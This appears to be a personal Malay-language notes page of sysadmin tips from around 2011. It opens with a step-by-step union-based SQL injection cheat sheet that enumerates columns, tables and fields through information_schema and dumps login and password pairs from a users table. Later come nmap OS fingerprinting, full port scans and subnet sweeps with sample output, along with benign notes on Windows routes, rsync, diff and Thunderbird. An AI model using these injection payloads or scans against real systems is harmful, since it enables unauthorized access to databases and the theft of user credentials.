cucukan sql

1) nak tentukan bilangan field
order by 6-- >> masih kluar normal page
order by 7-- >> page dah tak normal

2) nak tahu field yang berkenaan
union select 1,2,3,4,5,6--   >> akan kluar '5'

3) nak dapat version
union select 1,2,3,4,version(),6--

4) dapatkan senarai table
union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema=[databasename]

5) dapatkan senarai nama field
union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name=[tablename]


6) dapatkan maklumat tertentu
union select 1,2,3,4,concat_ws(0x3a,login,password),6 from users
output>> login.password

windows route

route ADD 10.10.10.0 MASK 255.255.255.0 192.168.2.13

kekal walau reboot
route -p ADD 10.10.10.0 MASK 255.255.255.0 192.168.2.13

diff svn

diff -U 3 -H -d -r -N cronjob_lama/svn-commit.tmp cronjob/svn-commit.tmp

sambung download scp

kombinasi rsyn dan ssh:

rsync --rsh='ssh' -av --progress --partial 10.0.0.12:/home/siperdana/fileDownload.tar.gz /path/to/lokasi/

Kurangkan penggunaan harddisk oleh Thunderbird

Walaupun dah delete email, saiz dalam harrdisk masih tak berkurang. Perlu runkan File-> Compact_Folder.

Keterangan: Walau file dah delete, email tersebut masih belum di buang dalam file berkenaan, cuma di hidekan saja dari pengguna. Bila run compact_folder, thunderbird akan delete sebenar-benarnya dari fail yang berkenaan.

thunderbird 3.1

Teka OS dari jauh

nmap -O -v siperdana.blog.com

Device type: WAP
Running: Linux 2.4.X
OS details: DD-WRT v23 (Linux 2.4.36)
Uptime guess: 32.007 days (since Sun Jul 17 11:13:34 2011)
TCP Sequence Prediction: Difficulty=207 (Good luck!)
IP ID Sequence Generation: All zeros


nmap -sT -p0 siperdana.blog.com

Starting Nmap 5.21 ( http://nmap.org ) at 2011-08-18 11:19 MYT
Nmap scan report for siperdana.com.my (74.51.218.240)
Host is up (0.28s latency).
rDNS record for 74.51.218.240: f0.76.344a.static.theplanet.com
Not shown: 967 closed ports
PORT     STATE    SERVICE
1/tcp    filtered tcpmux
3/tcp    filtered compressnet
4/tcp    filtered unknown
6/tcp    filtered unknown

Nmap done: 1 IP address (1 host up) scanned in 17.67 seconds

Network tools

netstat -punat

lsof -i :80   ; semak port

nmap -sT -p 1-65535 10.0.0.1;  test port 1 hingga 65535

scan subnet

nmap -v -sP 192.168.1.0/24 |grep -B1 up